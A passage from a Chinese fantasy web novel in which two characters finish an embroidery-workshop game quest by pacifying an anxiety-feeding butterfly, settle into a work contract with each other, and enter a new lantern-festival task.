江砚猛然出手,将尖刀插入晓晗左臂关节处,干脆利落地向下一划。
林茉感觉到脖颈力量松了不少。
晓晗的左臂只剩最上方的骨骼连接,血红数据流涌出:
不努力只能等着被替代
不上班就会脱离社会
比你优秀的人比你还努力
任职要求:年龄35岁以下
......
晓晗更加疯狂,“我要工作我得工作,万线归宗万线归宗,我要赶进度......”
她右手掐着林茉,带她一起转身撞向阁楼。
生命值持续降低,林茉无力挣扎。
吱——阁楼开启。
8. 第8章
所有人一瞬间都忘记自己身处险境,被阁楼场景震撼。
一只巨型苏绣蝴蝶悬于半空,巨大蝶翅全然舒展,花纹细腻繁复,熠熠流光,无数绣线从四面八方连接于此,如同一只精美标本,又如宇宙万象结晶。
真的、太美太震撼了。
绣线微动,震颤间淡蓝色电子数据若隐若现:
人贩子肯定该死,但父母就一点责任没有吗?
二本学生?工业废水而已。
不好好学习,没有好工作,对得起父母花在你身上那么多钱吗?
这年代连工作都没有能是什么好人。
细细看去,蝴蝶翅膀的花纹竟可以对应地图轮廓,展示并吸收着每个地区的高频焦虑数据。
它靠吸收和喂养焦虑情绪运转,由无数的深夜哭声织就。
......
原本被蝴蝶触发的美好消失得无影无踪,林茉垂头不语,原本就有些凌乱的发丝垂落下来遮住眼眸。
她伸手拔出晓晗肩头的刀,不发一言,用全身力气甩向苏绣蝴蝶。
晓晗见状惊慌异常,顾不得林茉,转身扑向蝴蝶以身体保护它的完美,尖刀毫不留情没入晓晗身体。
她转身盯着林茉,声音满是怨恨,“毁了工作,我要你死。”
---
林茉很愤怒。
连江砚这个一向对情绪熟视无睹之人都有所觉察,这愤怒好像会传染,江砚自己心中也突然情感涌动。
他能理解林茉为何愤怒,这些词条的确刺耳,可是它能抓住大量注意力,一定有其道理,人总得做点什么,正是工作促进了人和社会的发展。
既如此,那追求学历、高薪,追求更好更完美的工作也是必然。
不能接受残酷真相,那是小孩子心态,世界不会因此对其优待,相反还会更加残酷。
---
晓晗像一只破碎的血色洋娃娃,每一次攻击都在消耗自己的生命力,却又一次比一次更加凶狠。
林茉眼见她越来越骇人,却无法对其生出该有的反应,总觉得心里有些地方不太对劲。
江砚果然出手,双手握住晓晗袭击而来的绣线,肩背肌肉隆起,用尽最后的所有力气一拉,将晓晗拉向自己,伸手拔出嵌在她身上的短刀,抬手向她眼睛刺去——
林茉内心忽然感到强烈的难过,强烈到她几乎无法承受。
“都是我没有做好——”
林茉挡下江砚刺向晓晗的刀,提起最后的力气抬起双臂,抱住血淋淋的晓晗。
“你已经做得很好了。”
“累了可以休息的。”
---
“我要工作!”
“我得今天就处理完这个项目。”
晓晗凄厉固执的声音逐渐微弱。
“我要积累自己的资本,不然35岁我就会被淘汰。”
“我不能有小孩。”
“我想养宠物,可是——”
“我捡到一只小兔子——”
最后变成自言自语的微弱呢喃。
“我好累——”
“妈妈,对不起,我是个会让所有人失望的人。”
“107,对不起。”
随后晓晗逐渐透明,直至消失,蝴蝶翅膀一丝绣线光芒微闪。
“啷啷哩咯~”
阁楼内,晓晗最后的歌声如一片轻盈到不可见的羽毛。
“你打算怎么办?”江砚率先打破沉默,看着苏绣蝴蝶问林茉。
真的完美到令人不忍破坏。
“这里看来就是整座阁楼的数据中心,破坏它我们应该可以出去。”
林茉活动身体,手腕上花朵纹路发出莹润白光,一丝清凉舒适的气息缠绕于她受伤的脖颈,伤口疼痛减轻。
林茉却不像一开始那样想灭天灭地,她出神地盯着苏绣蝴蝶,“其实它真的挺美的。”
江砚“嗯”了一声回应。
蝶翅上凝缩着这个世界的一部分,战火频繁却百折不挠的Z区,看似舒适优越却被精神问题困扰的M区,还有自己生活之处......
美丽与丑陋并存,消灭丑陋世界就会变得完美吗?
“江砚,”林茉点开系统面板,调出之前收纳其中的零食袋,“先坐下休息会儿。”
??
还没结束就要开香槟庆祝了?!!
江砚实在无法迁就,“我们应该先出去。”
林茉对他的话充耳不闻,递给他一瓶奶茶,“给。”
江砚平时只喝咖啡和纯净水,但还是接过了奶茶,瓶身上白色花朵和茶叶图案变换,这是一瓶茉莉奶绿。
“和你的挺像的。”
林茉打开一盒老婆饼,拧开一瓶橙汁,“什么?”
“这个花,”江砚指着自己的奶茶瓶,“和你手上的。”
林茉诧异,眼睛来来回回对比了好几圈,“还真是,”她笑着晃了晃手腕,“原来我这是茉莉花。”
江砚还是忍不住问,“你不想出去了?”
他实在是难以忍受任务做到一半戛然而止,如同身上有蚂蚁爬行,哪哪都不舒服。
林茉拿出能量棒和江砚一人一半,“想啊,但是吃饱了才有力气干活。”
“你累了可以先休息,我先试试去——”
林茉神秘地摇摇手指,“不玩它的游戏,我们用自己的方式。”
江砚:?
什么时候了还想着玩呢,NPC还在虎视眈眈呢,虽然他们暂时不动,但谁能保证系统会不会什么时候抽风又来一波攻击?
不过江砚也好奇,自己的方式是什么方式?
---
吃饱喝足,林茉舒服地伸了个懒腰,理顺发丝。
江砚:......
心多大啊,这可是上一刻还掐着脖子要你命的地方。
林茉调出绣架,懒懒向后靠在江砚身上,把刀塞给他,“给我靠会儿,待会儿要是出什么意外,就用原来的方式毁了它。”
林茉一边盯着蝴蝶翅膀图案,一边勾勒底图,神情专注认真。
渐渐地,周围的一切好像都从注意力范围内淡出:江砚、绣楼、NPC......眼前只有漂亮蝴蝶和绣架。
空间变成纯净的亮白。
师傅绣娘因自责焦虑而痛苦的脸,晓晗轻如鸿毛小心翼翼的声音,那些阳光下、深夜里无孔不入的数据焦虑如水流一般冲刷过林茉此刻宁静的内心。
“叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~”
“好运来祝你好运来~”
林茉不自觉哼起曲调,江砚第一次看到这样的林茉,也是第一次有人不打招呼就敢支使他做为备选的第二方案,就敢靠在他身旁。
专注也会传染。
江砚渐渐只看到林茉笔下的图案,墨色线条恣意勾勒,好像有什么在逐渐成型。周围变成墨一般的黑,不时有亮光如笔迹、如流星划过。
万线归宗吸收的焦虑信息一遍遍在江砚脑海中播放,一如先前遇到发簪女士时,他被刻有“效率”“完美”字句的发簪插满全身钉于墙壁,可他却甘之如饴,系统试图用焦虑信息向他传染焦虑情绪,殊不知他每天与之为伴,这种程度的PUA只是挠痒痒。
别忘了谁才是老板。
亮光轨迹仍在一道道舞动,毫无章法,却大气洒脱。
贵重之物从来免费,
阳光空气土壤水源。
有人说你应该“有用”,
请转告他这是一句谎言。
林茉抬起头,数据流风起云涌,彩色绣线连通焦虑蝴蝶,越来越明亮,越来越耀眼,仿佛那里蕴藏着整
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个宇宙的能量。
一颗老婆饼的碎渣滴落到绣品上……如一颗星星落入湖面。
【检测到异常安宁值,启动程序:岁守千秋】
双翼、头颅、尾流......一只彩色数据凤凰挥洒四溢流光奔涌向焦虑蝴蝶。
林茉自己也很意外,她原本只是想将地图图案融合到一起,加点好运来……抹去它的逻辑。
林茉站起身,“再给你加点料。”
说罢走到焦虑蝴蝶旁,身姿挺拔坚定,右手一扬,红色粉末漫天飞舞。
江砚:......
“你在干嘛?”
林茉回头,脸上蹭到了点红,显得神采奕奕,“撒点辣椒面。”
......
???
焦虑蝴蝶忽然动了,带动绣楼内所有绣线漫天飞舞,仿佛一场空中海啸,林茉随手挥就的赛博凤凰再次出现,与之共舞。
一蝶一凤飞舞翩翩,绣线如漫天流星,数据流点亮整个宇宙,所有NPC皆回归其中,他们自在飘转,身轻无一物,一如生命本源的模样。
有人说你应该“有用”,
请转告他这是一句谎言。
蝶凤旋转融合,半空中一只新的苏绣蝴蝶翅膀翩翩,翅膀部位的地区图形融合变幻,尾翼拉伸延展,如凤凰尾羽般华丽绚烂。
原本闪动焦虑信息的数据流回归纯净的浅蓝,绣楼焕然一新,绣架重新排列整齐,绣品安然无恙,无需光照自然熠熠生辉。
一缕白光自蝶尾悄然而出,灵巧地绕了个圈,之后奔向林茉。
林茉:还来?刚刚那一幕不是典型的光明版大结局吗?
她已无力躲避,懒洋洋靠在江砚身边,来吧来吧,尽管放马过来。
白光温柔入怀,变成发亮的毛茸茸光团,围绕江砚和林茉轻盈飘动。
一只垂耳兔窝在林茉怀中,身穿飘逸襦裙,图案正是晓晗的绣品四时花鸟图,针脚质感绵密,图案栩栩如生,飘动间仿佛真的拥有生命。
小兔抬起两只前爪搭在林茉身上,立起长长兔耳,轻轻抚摸林茉脖颈伤口。
有点舒服有点痒。
林茉怀疑自己已然出现幻觉,别又是什么陷阱吧,累了,放手了。
【恭喜您通关“千丝绣坊”】
【正在进行奖励结算】
【恭喜获得基础奖励:生命值+500】
【当前生命值505】
好家伙,难怪之前仿佛看到白光空间,原来生命值只剩下5,堪称死亡演练,林茉一直标榜自己不惧生死,但真正经历劫后余生还是感到庆幸。
【由于未按要求完成“万线归宗”任务,叠加惩罚:生命值-300】
【当前生命值:205】
【标准生命值:1000】
......
扣300这么多?
【恭喜完成万线归宗,获得奖励:高级刺绣工具一套;获得奖励:苏绣灵兔一只;获得物品:四时花鸟图(已穿戴);获得物品:开花梅枝;获得物品:木制发簪】
【奖励已放入背包】
【天赋:多睡一小时已重新激活。请注意,该天赋为一次性使用,下次使用后将再次失效】
又能睡一小时?
信息量有点大。
林茉过载睡去,现在她急需吃顿鲜活的、冒热气的、沸腾的牛肉火锅补一补。
---
叮叮——
【您收到一条新消息】
分别前江砚留了林茉联系方式,发来信息邀请她今天到公司去。
江砚当真是天生做老板的材料,精力过于充沛,居然在正常工作了。
林茉心怀敬意,回了个“好”,记下约定时间又睡回去,睡之前迷迷糊糊想起晓晗最后的耳语:“小心001。”
9. 第 9 章
“今天给你账户转了一笔钱,有没有收到?”
林茉打开账户查看,顿时心潮澎湃——原本几乎见底的账户突然多出几个零。
“之前是我连累你,能成功回来也是你的功劳,这笔钱相当于补偿或者报酬,还有什么要求你尽管提。”
江砚办公室巨大宽敞,视野中一带江水穿城而过,是这个昼夜不停的城市少有的喘息标志。
整体装修是有质感的米白点缀墨绿,线条简约清晰,其中一块巨大显示屏构成了一整面墙,如同影院幕布,办公桌身后隔出了其他空间,是私人会客室和休息区。
他们隔着办公桌相对而坐,将林茉拉回到过去工作时刻,江砚是老板,她是客户。
林茉退出职场多年,物欲寡淡,“没什么要求,这样就很好,谢谢江总。”
本来她对下个月房租和吃饭问题一筹莫展,山穷水尽之际,不仅遇到个包吃包住的系统,现在活下来还有人打钱。
不错。
江砚推给林茉一台平板,“没问题在这签字,之前的事两清。”
林茉皱眉,她不喜欢“两清”这种冰冷词汇,但江砚所言在理。个人电子资料库传来“叮咚”一声,即时同步了这份合同。
江砚收回平板,修长的手指划动,再次推给林茉,“还有一份,也看看。”
林茉微不可察地扁了扁嘴——有钱了,想吃牛肉火锅。
“饿了?有早上做的牛奶和三明治,要不要吃?”
虽然不如牛肉火锅美味,但也可以,“要。”
《共生契约补充协议》
林茉用吸管懒洋洋喝热牛奶,看完合约后总结出一个要点,“这是让我来上班?”
......
江砚无语:这也能叫上班?
要不是共生契约还在,打着灯笼也不会有这种好机会。
“只是尽量保持我们待在一起,白天你在公司,里面休息室你用,晚上和我一起回家,几间客房你自己选。”
有这好事?
林茉不敢相信,“还开工资?”
“毕竟占用了你全部时间,一定程度也限制你的自由。”
有这好事!
她一直认为自己的时间很值钱,但现实一直没有给予过她肯定答复,如今信念成真,林茉唰唰几笔签字,“成交!”
江砚无语,他是真的不理解林茉,好像对此甘之如饴,向往休闲很正常,但一事无成的人生真的会感觉良好吗?
江砚说,“回答我一个问题,之后合约生效。”
“你问。”林茉向后靠在椅背上,悠闲啃三明治。
其实她本来也想找江砚,因为她发现从系统出来后,有根绣线延伸出来,一直与她连接,但无事发生,不痛不痒。
江砚声音稳重平缓,双眉微抬,盯住林茉双眼,“你好像很会刺绣?”
林茉点头,“我是学过刺绣。”
江砚平静无波,更深地盯着林茉:“这么巧?”
林茉白眼,“巧什么巧?你怀疑我?”
你才更值得怀疑!
鉴于江砚的表现和晓晗的提醒,林茉决定先不讲绣线之事。
江砚并非怀疑林茉,只是如今年代精通刺绣这种手工技艺者本就寥寥,恰好被他碰到,恰好引发出一番离奇经历,说是巧合也未免牵强。
林茉悠闲地晃腿,并不自证,大大咧咧道:“怀疑你能怎么样,我确实学过,就这样。”
“也对。”
江砚笑得无奈又斯文,好像一点脾气都没有,被林茉欺负得没办法。
林茉吃软不吃硬,见状低声嘟囔了一句,“我也不知道,反正对你没坏处。”
她举起右手,莞尔一笑,“来击个掌,合作愉快,祝你早日摆脱我。”
江砚笑笑,还挺有自知之明。
啪——
但林茉决定隐藏的秘密并不配合她,就在江砚眼前,击掌的瞬间,连接她的那根绣线似乎被激活蓦地亮起,缠绕她的手臂,形成一圈亮光。
二人大眼瞪小眼。
这——
一粒小光点顺着亮光移动,“啵”的一声。
林茉:“这是——”
苏绣兔!
一只毛茸茸的小兔身穿系统内同款苏绣襦裙,坐在在江砚办公桌上看着他们,目光清澈得感人。
见他们半晌都没动作,立起小耳朵,原本想靠近江砚,但中途改变主意,跑到另一侧蹭了蹭林茉手指。
林茉半晌才找到自己声音,“江总,你这系统,到底是什么啊?”
还能生产小动物?!
---
就这样,小兔在江砚办公室安了家。
林茉的“上班”生活也有了具体工作内容:观察兔子。
江砚还要求她每天整理观兔日志,毕竟这不是一只普通兔子。
林茉观察几天,并未发现它和普通幼兔有什么两样,日常只有两件事:睡觉、理毛。
她想到晓晗的黑兔,会不会有所关联?
养兔日志1:
不吃兔粮,会定点回到系统,猜测是在补充营养。曾在系统空间见过不同品种兔子,但不能确定是否相关。
养兔日志2:
一切正常,无事发生
养兔日志3:
一切正常,无事发生
真不是林茉敷衍,也不是她观察疏漏,是真的一切正常。
养兔日志:
一切正常,无事发生
不过时间久一点,林茉还是有了发现。
她把小兔抱到江砚办公桌上,小兔鼻翼翕动,四处闻嗅,“江总你看。”
江砚:“这是办公桌。”
林茉直接切入重点,“你看它的裙摆。”
江砚将小兔抱到面前,小兔有些紧张,一动不动,耳朵紧贴身体。
裙摆乍看是常见的水波纹,细观发现里面居然大有文章,每一道波浪皆由不同图案组成:气派的绣楼、整齐排列的绣架、忙碌刺绣的人们,蝴蝶翩翩飞舞其间,连一轮月光都活灵活现地绣了出来。
“这——”江砚皱眉思索,“千丝绣坊?”
再看仍被苏绣技艺蛰伏,生活百态浓缩于层层微波,林茉称赞,“好精致的小裙子,连你也被吸引了对不对?”
林茉凑近,小兔立刻放松,伸出小舌头舔了舔林茉手指。
江砚察觉出林茉似乎有话要说,“你说。”
“这么精美的东西应该被更多人知道。”
林茉在办公桌对面坐下,“绣坊里你也看到了,那么多人
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被网上的焦虑信息压得喘不过气,又因为焦虑对信息更加如饥似渴,所以我想——能不能把苏绣相关的东西融入进去,让大家看到就会感觉到片刻喘息、轻松,或者,能让他们暂时忘记焦虑。”
林茉看到的是普遍伤痛和疗愈需求,江砚则从其中看到了可行性和推广潜力。
“方向不错,做得好市场很大,但目前概念笼统,你可以进行细化,然后和我讨论。”
什么话到江砚口中都变得官方,林茉向江砚要了一台平板,回到休息室开工。
苏绣小兔见林茉离开,赶忙迈起小短腿,一跳一跳地跟着林茉跑开。
兔子害怕江砚?果然有问题,连兔子都发现了。
---
林茉一进休息室便没再出门,直到江砚准备下班,难道睡着了?
他走进休息室,只见林茉专注地在做什么,兔子窝在一旁睡觉,呼吸均匀起伏。
“忙完了吗?回家了。”
林茉抬起头,她内心如同被投入了一颗石子,因为已经很久很久没有听到过别人对她说“回家”二字,久到恍如隔世。
声音不自觉变得温柔,“你累吗?我想让你看看。”
江砚走过去,平板上是林茉勾画的概念草图。
她手指向前划,“这是第一个,我想做成心流绣架。”
心流知道,但心流绣架是什么?
“其实个专注工具,可以授权连接体征检测仪,根据专注时长、呼吸节奏、脑电波频率,生成不同的苏绣作品。算是即使奖赏,专注市场增加,浏览无用焦虑信息的时间就会减少,随着专注成果不断累积,会感觉越来越良好,你觉得怎么样?”
江砚自己是不需要这种东西激励进入专注状态,但他知道很多很多人都需要,起码在他们公司就有很多人,目前来看,这是个轻量级产品,可以先做出简易版,再根据反响迭代升级。
“先尝试简易版,生成的图案可以再做延展,比如定制布料、包装图案。”
林茉眼神一亮,“好啊!”
“可是这个东西要找谁做呢?”
江砚轻描淡写,“我就能做。”
林茉变成星星眼,怀抱平板起身,“我还有两个想法,回家路上说给你听一下?”
江砚内心一动,他长这么大,除了儿时记忆里的母亲,还没有其他女人对他这么自然地说过“回家”二字。
“好,走吧。”
林茉的另外两个创意也都不错。
苏绣疗愈器,简单来说会根据一个人每天浏览的信息以及产生的身体反应,来生成虚拟苏绣作品,并给出简易任务,比如配色、填色等等,通过转移注意力和有针对性的图案疗愈,来放松身心。
苏绣冥想室,和手工店类似,不同的是作品会自动生成冥想音频旋律,沙沙绣线声混合雨打芭蕉白噪音,人们不仅会得到一份属于自己的苏绣作品,还能得到有自己特色的音频。
江砚对林茉的创意感到意外,“你之前到底是做什么的?”
林茉答非所问,“我想吃牛肉火锅,想吃好久了。”
江砚开车,“想吃就吃。”
“我自己去?你不担心我出什么意外吗?”
江砚:......
“这几天我来安排。”
10. 第 10 章
咕嘟咕嘟咕嘟...
林茉如愿吃上牛肉火锅——江砚在休息室给她开小灶。
汤底清澈鲜甜,涮入牛肉后食材本味激发,香气扑鼻,蘸上特制酱料,林茉满足得眯眼。
如愿以偿可真美好。
苏绣兔原本窝在沙发睡觉,被飘香吸引,跑来跳上桌子,小鼻子一动一动,林茉顺手拿了根新鲜青菜逗它,“你也想吃?”
小兔不语,抱着开啃,发出清脆的咀嚼声。
江砚推门而入,嘴角微翘,“好吃吗?”
林茉埋头专注食物,顾不上抬头,所以她没有看到江砚神情不似以往温润淡定,那笑容好似在某种计谋得逞,请君入瓮。
“好吃,牛肉好香,一起?”
江砚拒绝,“不了,我来给你送个东西。”
其实这间休息室江砚很少使用,自从林茉到来,就好像养了只小宠物,时不时就想查看它在干嘛。
林茉依旧不抬头,“什么?”
江砚掌心躺着一枚暗蓝色小方盒,林茉本想吃完再看,但一方面好奇,另一面江砚表面对她不错,还是决定配合。
一朵木雕花朵静静躺在软垫上,“这是?”
送这干嘛?无利不起早。
林茉盯着江砚,半似打量半似评估,暗蓝色双眸似深海,让人不小心溺于其中。
江砚别开目光,“核雕茉莉,供应商送的,看到和你手腕图案很像,收下让他们定做了耳钉。”
“核雕?”
林茉拿起小花仔细查看,果然能观察到和木纹不同的果核纹路,和小指甲盖大小相似,层层花瓣精致繁复,手工打磨痕迹清晰可见,古朴润泽,很有质感。
江砚眼神落在林茉身上,沉默不语,半晌开口,“戴上试试。”
他之前安排人去调查林茉经历,果然奇怪,因为只能查到林茉成年后的工作经历,其余信息——出生地、成长、读书经历一概空白。
要么林茉是属于某个强大组织,替她遮掩了过去,要么林茉是黑户、没有读过一年书?两个猜测都很离谱,江砚倒是也不急,等着谜底慢慢揭开。
这并非普通核雕,也不来自商店购买,而是专人定制,同时在里面植入了一枚小芯片,可以监测林茉的生命体征和位置,连接江砚的私人程序。
林茉出乎意料地顺从,她微微低头,动作温吞,侧脸线条如傍晚海波慵懒起伏。
“好看吗?”
江砚目光凝于一点,另一侧耳钉伴随林茉动作闪动着银色金属星芒,“挺好看的。”
“谢——”林茉话音未落,火锅原本平稳的咕噜声突然变大。
原本小伙沸腾的火锅锅底忽然如同加了大火,涌出密集小水泡,这些小水泡旋转、上浮、破裂,逐渐在锅中形成一道漩涡,仿佛开启了自动搅拌功能。
“这锅,不是这锅自带功能吧?”林茉问。
江砚回过神来,迅速拉起林茉离开桌边,抱走兔子,“别离太近。”
漩涡自己旋转片刻猛然散开,小水泡起起伏伏,逐渐组成一串数字。
30:00:00
系统音同时在二人脑海中响起:
【任务开始倒计时:30:00:00,请提前做好准备】
---
“你需不需要提前安排公司事务?不知道我们会跳过几天。”
其实这种经历还挺好玩,好像儿时幻想成真:自己去到另一个世界随心所欲,把那边的林茉交换过来,替她玩这场生存游戏。
江砚没有回答,以一种奇怪的眼神看向林茉。
林茉莫名其妙,核雕茉莉隐于发间,“怎么了?看什么?”
“你没发现?”
“发现什么?”
“系统里时间流速和外面不同,在绣楼我们一共经历将近72小时,现实世界只是一夜。”
“一夜?”
林茉确实没注意,她回家后倒头就睡。两年不工作,她对钟表时间并不在意,更多是根据自己的身体感受节律行动——困了就睡、饿了就吃、想做事就去做、累了就停下休息。
“姐姐——”江砚无奈拉长声音,“你可真是不惜命。”
江砚第一百零一次不理解林茉,怎么会有人不看时间、心大到这种程度?林茉如果性子再恬淡些,收拾收拾住到寺庙去也并无不妥。
林茉出神,轻声似呢喃,“好像一场梦。”
她想起绣楼的种种不可思议,那么多突发事件,那么多意料之外,那么多喜怒哀乐,一个夜晚就能全部容纳。若非江砚与她同步经历,苏绣兔在一边拱她的手求摸摸,她简直要怀疑自己精神状态。
江砚没有这种感叹,不愧是他改造过的系统,虽然暂时失控,但在时间安排上还挺有默契——不影响正事,回来公司照常运转,连假都不用请。
林茉蓦然想起一句歌词:山鹰在寂寞两条鱼上飞,很像是从梦境中提取出的意象,或许歌词、兔子都一样。
“系统要我们准备什么?不要在大庭广众之下突然变成数据消失?”林茉问。
果真如此,她倒想反其道而行。
“不知道,你可以吃饱点。”江砚说。
林茉:......
但有道理。
上次她买的东西都还没来得及吃,就被倒计时催着急吼吼去了绣楼,她想起接待她们的发簪女士,师父绣娘、晓晗的故事她都知晓,发簪女士有什么故事呢?
脑海中忽然浮现一个画面:自己凑近发簪女士身边闻味道。
味道——
林茉脑中有一道光亮“唰”地划过,她她她——好像想起那味道是什么了!
江砚发现林茉原本灵动眼神突然凝滞,“怎么了?”
“你先别说话——”林茉制止。
知道了!
“我知道了!”
“知道什么了?”
“味道!你还记不记得?我们刚进绣楼时在门口那里写什么自荐信,在那我闻到一股奇怪味道,有点臭,有点嗖说不出来的味道——”
江砚想起那个味道,眉头微皱,“我也闻到了。”
“你知道是什么吗?”林茉眼神雪亮,一丝光线穿透深海,“是早高峰的!地铁味道!”
江砚:“什么?”
“你是老板肯定不知道咯,”林茉笑容有点狡黠,“不如明天我带你去挤一挤。”
一根、早高峰地铁车厢味道的、香?
江砚越来越佩服系统,如果不是方向不太对,他简直想为这份天马行空拍手称赞。
---
其实林茉答应合约,甚至同意住进江砚家中,并非由于愿意听从江砚摆布。
小心001。
不入虎穴焉得虎子,和江砚同出同进是找到线索的最短路径。
共生契约不解除,她就没法彻底摆脱江砚,办公室已她查看过——清汤寡水,像个好老板。
江砚的别墅有几扇大落地窗,采光很好,但除此之外看起来并未用心装修,与办公室如出一辙,只是房间多些。
有位固定阿姨住在一楼客房,负责每日打扫,偶尔帮江砚做饭。
阿姨甚至有
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些不好意思,“林小姐,这有时候啊,我都感觉这是我的别墅,这么大的房子,好多天从早到晚都是我自己,这下有你,他能多惦记回家了。”
“人嘛,还是得有个家,日子才能过起来。”
阿姨这是把她当成江砚女朋友了,林茉没有否认——错认更好,便于行动。
“这么多房间,阿姨平时每天都打扫一遍吗?”
“没有,二楼我只打扫走廊,江先生的卧房和书房不让人动,等他吩咐再上去打扫。”
卧房、书房。
林茉瞟了一眼二楼,江砚回来后便进入卧房一直未出,林茉房间也在二楼,与他相隔一间书房,她故意在楼下和阿姨聊天,时间已晚,江砚应该不会再出来。
林茉站在书房门口,整张脸笼在阴影中,金属把手微凉,
她下定决心轻轻一拧,收下丝滑转动——没锁?
林茉小心探头进去,灯亮着,与屋内江砚四目相对。
他似乎刚洗完澡,一套宽松家居服,发尾明显潮湿未干,这点水汽衬得他眉目更加漆黑深邃。
哇靠!!
??
江砚也吓一跳,微微皱眉,难得面露不悦,“你干什么?”
“我——”林茉深呼吸,大脑飞快转动,“我刚刚感觉没有热水,所以——想来问问你。”
江砚不是进了卧室吗?怎么出现在书房?!
“热水?”
江砚确实没有试过其他房间的热水,“去叫姜姨帮你看看。”
林茉眼珠四下转动,原来卧室和书房互相打通,中间用玄关加帘子隔开。
她当然不想放过这次机会,没话找话,“你这是,还要工作?”
“查点资料。”
明晚差不多相同时间,新任务开启,他们又会像上次一样被拉到系统中,林茉想了想,虽然她对江砚有所怀疑,但被拉进系统时她还是想有个伴儿。
林茉不再挤在门缝里,悄悄往前蹭了几步,屋内沉静香气将她笼入其中,“那个,明晚,我能和你待在一块儿吗?”
书房表面只有电脑,大屏幕,桌面上有一点文书,很整洁。
但储物空间很多。
---
林茉如愿以偿大大方方进入江砚书房,却来不及为此高兴,倒计时已经变成0开头——距离任务开始时间不足一小时。
虽然30小时心理准备看似不短,但对于未知人还是难免紧张。
江砚递给林茉一杯温水,雪松香似有若无飘动,“就当睡一觉,只是这一觉梦有点多。”
00:10:00
十分钟。
林茉小口啜饮,杯身触感温热,一根神经不自觉放松,四处缥缈,这数分数秒的情景很像跨年倒计时。
“江砚,”林茉轻轻开口,“你有和谁一起倒数庆祝过吗?生日、新年什么的。”
江砚熄灭主灯,暖黄色光线轻柔笼罩,他坐在沙发上,林茉感觉到身/下沙发微微下陷,“没有。”
“我也没有。”
茉莉纹路毫无预兆亮起,莹白光芒点亮星芒耳钉,荆棘纹穿透布料,与之呼应。
【任务倒计时:10、9、8——】
苏绣兔感应到系统活跃,跑到跟前一跃进入林茉怀中。
【5、4、3——】
没想到第一次经历倒数的情景居然是这样,比想象中还要不可思议。
江砚不知道林茉在想什么,他看向林茉,“别怕。”
【欢迎回来】
【新任务:千笼灯宴,已开启】
11. 第 11 章
花市灯如昼。
林茉和江砚并肩站在灯影交织的街道,石板路因经年行人,已变得棱角圆润,模模糊糊反射着灯笼的柔和光线。虽是夜晚却不黑暗,满街花灯如梦如幻
是这样的吗?
有些震惊,他们原本已经做好准备迎接另一个迷雾绣楼、白日无光,没想到这里如此繁华美好。
林茉身穿刺绣襦裙,搭配夹棉短衫,外披毛绒暗红披风,江砚依旧是交领黑袍点缀刺绣暗纹,外袍厚实,黑得仿佛能吸收所有光线,却衬托他的脸更加白皙。
冬天了。
系统不合时宜出来打断:
【新任务:上元夺魁,已开启】
【请根据指引找到马家小院,学习制作盒子灯】
林茉:哦,我要是不呢?
他们脑海中出现一张简易街道平面图,不远处有一坐标闪烁,林茉移动,两个白色小光点同步移动。
“走吧。”江砚率先迈开脚步,“现在是晚上,去得早说不定还能多睡会儿。”
林茉转变态度:“来了来了。”
江砚走在前头,流露出他自己都没有觉察的笑。
---
马家小院位于花灯大街后面,很好寻找。
围墙规整,双扇木门闭合,门上粘贴两幅红色福字,两侧是一副手写春联门头屋檐悬挂一对彩色灯笼。和正常人家无甚区别,比绣楼看上去正常太多,
江砚敲门。
“这灯笼居然会转。”林茉微微仰头观察头顶的灯笼。
江砚抬头扫视一眼,给出答案,“走马灯。”
……
林茉:“我知道是走马灯,让你欣赏。”
资本家脑子里只有问题和解决方案。
门从里面被拉开,露出一位大概二十出头的男生,灰色布艺,包着头巾,很像电视剧里的店小二,“久等二位了,快快请进!”
林茉和江砚对视,好热情。
进院之前,林茉回头又看了看门口一对走马灯,半透薄纸后似乎是几个人影在其中缓缓旋转。
院内也是一排忙碌火热,大约有将近十个人在忙碌扎灯笼,见有人进来纷纷主动问好。
据小二说这些人均是学徒,他们径直穿过院内,被领至正对大门的会客厅,桌面摆有一木质托盘,里面装满了瓜子,
“二位远道而来,先稍事休息,我给二位倒杯茶。”
苏绣兔似乎闻到中意的气味,在口袋中拱了拱,钻出来跳上茶桌。
林茉抓了一把瓜子放在手心,小兔仔仔细细闻嗅,确认能吃,抱起一颗开啃。
丝丝袅袅热气从茶杯里轻盈逸出,小二先生将茶壶放置于暖炉上,“快喝杯茶暖暖身,
已帮二位准备好客房,提前生好了炭火,晚些睡个好觉。”
突如其来的友好体贴反而让人心生疑虑,小二先生许是看出林茉和江砚脸色不太对,小心开口,“可是有什么疏漏,您尽管提。”
没人开口,系统提示响起:
【温馨提示:请注意微笑,友好激发友好,热情促进热情】
......
这还是同一个系统?
不过这次说的倒是有几分人情味,林茉笑了笑,“没有,很周到,谢谢。”
--
深夜林茉回到客房,正欲熄灭蜡烛,隐约听到外面悉悉索索,果然不对劲,这么晚是什么声音?
居然是小二先生在院子里工作,朴素油灯将一小块地方晕染得昏黄粘稠,身旁一个懒洋洋的火。
他面色有些疲惫,但依旧笑容友好,“林小姐还没睡。”
林茉“嗯”了一声问他在做什么。
江砚推开门走出来,第一句话却是小声对林茉耳语,“怎么没披斗篷?”
然后将自己的外袍搭在林茉肩头。
熟悉的雪松气息将她包裹起来,有点重,但是很暖。
小二先生其实叫马明远,是小院主人,也是花灯师父,正在为几天后的上元灯会赶制灯笼,争取拿个好名次。
上元夺魁。
看来任务是帮助马明远获得第一名。
马明远身材微胖,长时间劳作让他的背有些弯,手上有很多制作灯笼留下的新旧伤痕。
【触发任务辅助道具:盒子灯制作指南,请仔细阅读,并协助马明远制作盒子灯】
林茉靠近江砚,歪头贴在他肩膀处,小声嘀咕:“系统话变多了。”
夜晚让林茉的五官柔软又立体,让江砚响起舒适的海浪。
接下来林茉和江砚脑海中出现几张图,详细解释了盒子灯原理和制作流程、注意事项。图案精美详实,或许真的是某位盒子灯制作高手留下的手迹,被数据化后收存于系统内。
这是如何触发的?
林茉好奇,在绣楼可没有这种贴心待遇,难道就因为自己刚刚动了几分恻隐之心?系统好像对人的情绪更加敏感了。
“需要我们帮忙吗?”林茉问。
灯笼弥漫,显得马明远笑容温暖,“你们真的愿意帮忙吗?那太好了。”
马明远小跑回屋内,拿出几张图纸展示给他们看,这是他的参赛作品:“我打算做六层,每层除去主灯,还想小灯笼点缀,是个大工程,但做出来应该很好看。”
图纸纸张破旧,但内容精致繁复,林茉对这个层层嵌套的庞大设计有点震惊,她还是第一次听说盒子灯,本以为就是个盒子形状的灯笼。
微风不时拂过,由于温度低,这一点微风足以吹得人手脚冰冷,这么一会儿功夫,林茉感觉自己鼻尖都是凉的,不知衣衫单薄的马明远是如何坚持的。
